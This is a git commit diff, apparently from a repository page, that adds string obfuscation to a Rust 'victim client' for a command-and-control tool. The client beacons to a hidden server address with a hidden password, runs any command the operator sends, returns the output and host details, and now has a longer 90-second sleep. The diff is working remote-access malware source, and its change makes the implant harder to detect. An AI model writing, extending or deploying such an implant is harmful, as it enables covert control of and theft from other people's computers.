added string obfusation to the victim client.
This commit is contained in:
@@ -585,6 +585,7 @@ impl AppState {
|
|||||||
cert_text: String::new(),
|
cert_text: String::new(),
|
||||||
};
|
};
|
||||||
self.servers.push(Arc::new(Mutex::new(new_server)));
|
self.servers.push(Arc::new(Mutex::new(new_server)));
|
||||||
|
self.save_all()?;
|
||||||
self.prompt.reset();
|
self.prompt.reset();
|
||||||
}
|
}
|
||||||
"connect_server" => {
|
"connect_server" => {
|
||||||
|
|||||||
+114
-131
@@ -1,3 +1,4 @@
|
|||||||
|
use obfstr::{obfstr, obfstring};
|
||||||
use rustls::ClientConfig;
|
use rustls::ClientConfig;
|
||||||
use rustls::ClientConnection;
|
use rustls::ClientConnection;
|
||||||
use rustls::RootCertStore;
|
use rustls::RootCertStore;
|
||||||
@@ -44,7 +45,7 @@ impl Server {
|
|||||||
self.client_id = id.trim().parse()?;
|
self.client_id = id.trim().parse()?;
|
||||||
}
|
}
|
||||||
self.message_que
|
self.message_que
|
||||||
.push(format!("SET_HOSTNAME|{}", self.client_name));
|
.push(format!("SET_HOSTNAME|{}", self.client_name));
|
||||||
self.connected = true;
|
self.connected = true;
|
||||||
self.last_check = Instant::now();
|
self.last_check = Instant::now();
|
||||||
return Ok(self.client_id);
|
return Ok(self.client_id);
|
||||||
@@ -73,13 +74,13 @@ impl Server {
|
|||||||
let payload = format!(
|
let payload = format!(
|
||||||
"{}**{}|||{}\n",
|
"{}**{}|||{}\n",
|
||||||
self.password.clone(),
|
self.password.clone(),
|
||||||
self.client_id.clone(),
|
self.client_id.clone(),
|
||||||
self.message_que.join("||")
|
self.message_que.join("||")
|
||||||
);
|
);
|
||||||
|
|
||||||
if let Err(e) = stream.write_all(payload.as_bytes()) {
|
if let Err(e) = stream.write_all(payload.as_bytes()) {
|
||||||
self.action_que
|
self.action_que
|
||||||
.push(format!("Error|sending reponse output to server! {e}"));
|
.push(format!("Error|sending reponse output to server! {e}"));
|
||||||
}
|
}
|
||||||
self.message_que.clear();
|
self.message_que.clear();
|
||||||
let mut buffer = [0; 4096];
|
let mut buffer = [0; 4096];
|
||||||
@@ -119,19 +120,19 @@ fn main() -> Result<(), Box<dyn Error>> {
|
|||||||
roots.add(cert)?;
|
roots.add(cert)?;
|
||||||
}
|
}
|
||||||
let client_config = ClientConfig::builder()
|
let client_config = ClientConfig::builder()
|
||||||
.with_root_certificates(roots)
|
.with_root_certificates(roots)
|
||||||
.with_no_client_auth();
|
.with_no_client_auth();
|
||||||
let mut server = Server {
|
let mut server = Server {
|
||||||
address: "|||SERVER|||".to_string(),
|
address: obfstring!("|||SERVER|||"),
|
||||||
connected: false,
|
connected: false,
|
||||||
timer: Duration::from_secs(1),
|
timer: Duration::from_secs(90),
|
||||||
last_check: Instant::now(),
|
last_check: Instant::now(),
|
||||||
config: Arc::new(client_config),
|
config: Arc::new(client_config),
|
||||||
message_que: Vec::new(),
|
message_que: Vec::new(),
|
||||||
action_que: Vec::new(),
|
action_que: Vec::new(),
|
||||||
client_id: 0,
|
client_id: 0,
|
||||||
client_name: "Victim1".to_string(),
|
client_name: obfstring!("Victim1"),
|
||||||
password: "|||PASSWORD|||".to_string(),
|
password: obfstring!("|||PASSWORD|||"),
|
||||||
logged_in: false,
|
logged_in: false,
|
||||||
};
|
};
|
||||||
let system = System::host_name();
|
let system = System::host_name();
|
||||||
@@ -149,137 +150,119 @@ fn main() -> Result<(), Box<dyn Error>> {
|
|||||||
server.checkin();
|
server.checkin();
|
||||||
if !server.action_que.is_empty() {
|
if !server.action_que.is_empty() {
|
||||||
for action in server.action_que.clone() {
|
for action in server.action_que.clone() {
|
||||||
if let Some((action, data)) = action.split_once("|") {
|
if let Some((action, data)) = action.split_once(obfstr!("|")) {
|
||||||
match action.trim() {
|
if action.trim() == obfstr!("CMD") {
|
||||||
"CMD" => {
|
let data = data.trim();
|
||||||
let data = data.trim();
|
let cmd;
|
||||||
let cmd;
|
let mut args = Vec::new();
|
||||||
let mut args = Vec::new();
|
if data.trim().contains(" ") {
|
||||||
if data.trim().contains(" ") {
|
let (given_cmd, given_args) = data.split_once(" ").unwrap();
|
||||||
let (given_cmd, given_args) = data.split_once(" ").unwrap();
|
cmd = given_cmd.to_string();
|
||||||
cmd = given_cmd.to_string();
|
given_args.split(" ").into_iter().for_each(|a| {
|
||||||
given_args.split(" ").into_iter().for_each(|a| {
|
args.push(a.to_string());
|
||||||
args.push(a.to_string());
|
});
|
||||||
});
|
} else {
|
||||||
|
cmd = data.trim().to_string();
|
||||||
|
}
|
||||||
|
if cmd.trim() == obfstr!("set_sleep") {
|
||||||
|
if let Ok(secs) = args[0].parse::<u64>() {
|
||||||
|
server.timer = Duration::from_secs(secs);
|
||||||
|
server
|
||||||
|
.message_que
|
||||||
|
.push(
|
||||||
|
format!("OUTPUT|Set sleep for {} seconds", secs,),
|
||||||
|
);
|
||||||
} else {
|
} else {
|
||||||
cmd = data.trim().to_string();
|
server.message_que.push(
|
||||||
|
"OUTPUT|Error parsing Seconds count from arguments."
|
||||||
|
.to_string(),
|
||||||
|
);
|
||||||
}
|
}
|
||||||
match cmd.trim() {
|
} else if cmd.trim() == obfstr!("victim_info") {
|
||||||
"set_sleep" => {
|
server
|
||||||
if let Ok(secs) = args[0].parse::<u64>() {
|
.message_que
|
||||||
server.timer = Duration::from_secs(secs);
|
.push(format!("OUTPUT|Address:{}", server.address));
|
||||||
server.message_que.push(format!(
|
server
|
||||||
"OUTPUT|Set sleep for {} seconds",
|
.message_que
|
||||||
secs,
|
.push(format!("OUTPUT|Timer:{}", server.timer.as_secs()));
|
||||||
));
|
server
|
||||||
} else {
|
.message_que
|
||||||
server.message_que.push("OUTPUT|Error parsing Seconds count from arguments.".to_string());
|
.push(format!("OUTPUT|ID:{}", server.client_id));
|
||||||
}
|
server
|
||||||
}
|
.message_que
|
||||||
"victim_info" => {
|
.push(format!("OUTPUT|Hostname:{}", server.client_name));
|
||||||
server
|
let system = System::new_all();
|
||||||
.message_que
|
|
||||||
.push(format!("OUTPUT|Address:{}", server.address));
|
|
||||||
server.message_que.push(format!(
|
|
||||||
"OUTPUT|Timer:{}",
|
|
||||||
server.timer.as_secs()
|
|
||||||
));
|
|
||||||
server
|
|
||||||
.message_que
|
|
||||||
.push(format!("OUTPUT|ID:{}", server.client_id));
|
|
||||||
server.message_que.push(format!(
|
|
||||||
"OUTPUT|Hostname:{}",
|
|
||||||
server.client_name
|
|
||||||
));
|
|
||||||
let system = System::new_all();
|
|
||||||
|
|
||||||
server.message_que.push(format!(
|
server
|
||||||
"Available RAM:{}",
|
.message_que
|
||||||
system.free_memory()
|
.push(format!("Available RAM:{}", system.free_memory()));
|
||||||
));
|
server
|
||||||
server.message_que.push(format!(
|
.message_que
|
||||||
"Num CPUs:{}",
|
.push(format!("Num CPUs:{}", system.cpus().iter().count()));
|
||||||
system.cpus().iter().count()
|
server
|
||||||
));
|
.message_que
|
||||||
server.message_que.push(format!(
|
.push(format!("Total RAM:{}", system.total_memory()));
|
||||||
"Total RAM:{}",
|
} else {
|
||||||
system.total_memory()
|
let mut command = Command::new(&cmd);
|
||||||
));
|
if !args.is_empty() {
|
||||||
}
|
args.iter().for_each(|a| {
|
||||||
_ => {
|
command.arg(a);
|
||||||
let mut command = Command::new(&cmd);
|
});
|
||||||
if !args.is_empty() {
|
}
|
||||||
args.iter().for_each(|a| {
|
let handle = spawn(move || -> String {
|
||||||
command.arg(a);
|
let mut out = String::new();
|
||||||
});
|
let res = command.output();
|
||||||
}
|
match res {
|
||||||
let handle = spawn(move || -> String {
|
Ok(result) => {
|
||||||
let mut out = String::new();
|
if result.status.success() {
|
||||||
let res = command.output();
|
out.push_str(&format!(
|
||||||
match res {
|
"{} completed successfully!\n",
|
||||||
Ok(result) => {
|
cmd
|
||||||
if result.status.success() {
|
));
|
||||||
out.push_str(&format!(
|
if !result.stderr.is_empty() {
|
||||||
"{} completed successfully!\n",
|
let err_string =
|
||||||
cmd
|
String::from_utf8_lossy(&result.stderr)
|
||||||
));
|
|
||||||
if !result.stderr.is_empty() {
|
|
||||||
let err_string =
|
|
||||||
String::from_utf8_lossy(
|
|
||||||
&result.stderr,
|
|
||||||
)
|
|
||||||
.to_string();
|
.to_string();
|
||||||
out.push_str(&format!(
|
|
||||||
"errors: {}\n",
|
|
||||||
err_string
|
|
||||||
));
|
|
||||||
}
|
|
||||||
if !result.stdout.is_empty() {
|
|
||||||
let out_string =
|
|
||||||
String::from_utf8_lossy(
|
|
||||||
&result.stdout,
|
|
||||||
)
|
|
||||||
.to_string();
|
|
||||||
out.push_str(&format!(
|
|
||||||
"std_out: {}\n",
|
|
||||||
out_string
|
|
||||||
));
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
out.push_str(&format!(
|
|
||||||
"{} failed.\n",
|
|
||||||
cmd
|
|
||||||
));
|
|
||||||
if !result.stderr.is_empty() {
|
|
||||||
let out_string =
|
|
||||||
String::from_utf8_lossy(
|
|
||||||
&result.stderr,
|
|
||||||
)
|
|
||||||
.to_string();
|
|
||||||
out.push_str(&format!(
|
|
||||||
"Errors: {}",
|
|
||||||
out_string
|
|
||||||
));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
out.push_str(&format!(
|
out.push_str(&format!(
|
||||||
"Error getting command: {e}"
|
"errors: {}\n",
|
||||||
|
err_string
|
||||||
|
));
|
||||||
|
}
|
||||||
|
if !result.stdout.is_empty() {
|
||||||
|
let out_string =
|
||||||
|
String::from_utf8_lossy(&result.stdout)
|
||||||
|
.to_string();
|
||||||
|
out.push_str(&format!(
|
||||||
|
"std_out: {}\n",
|
||||||
|
out_string
|
||||||
|
));
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
out.push_str(&format!("{} failed.\n", cmd));
|
||||||
|
if !result.stderr.is_empty() {
|
||||||
|
let out_string =
|
||||||
|
String::from_utf8_lossy(&result.stderr)
|
||||||
|
.to_string();
|
||||||
|
out.push_str(&format!(
|
||||||
|
"Errors: {}",
|
||||||
|
out_string
|
||||||
));
|
));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return out;
|
}
|
||||||
});
|
Err(e) => {
|
||||||
handles.insert(handle_id, Some(handle));
|
out.push_str(&format!(
|
||||||
handle_id += 1;
|
"Error getting command: {e}"
|
||||||
|
));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
return out;
|
||||||
|
});
|
||||||
|
handles.insert(handle_id, Some(handle));
|
||||||
|
handle_id += 1;
|
||||||
}
|
}
|
||||||
"DISCONNECT" => {
|
} else if action.trim() == obfstr!("DISCONNECT") {
|
||||||
stop = true;
|
stop = true;
|
||||||
}
|
|
||||||
_ => {}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user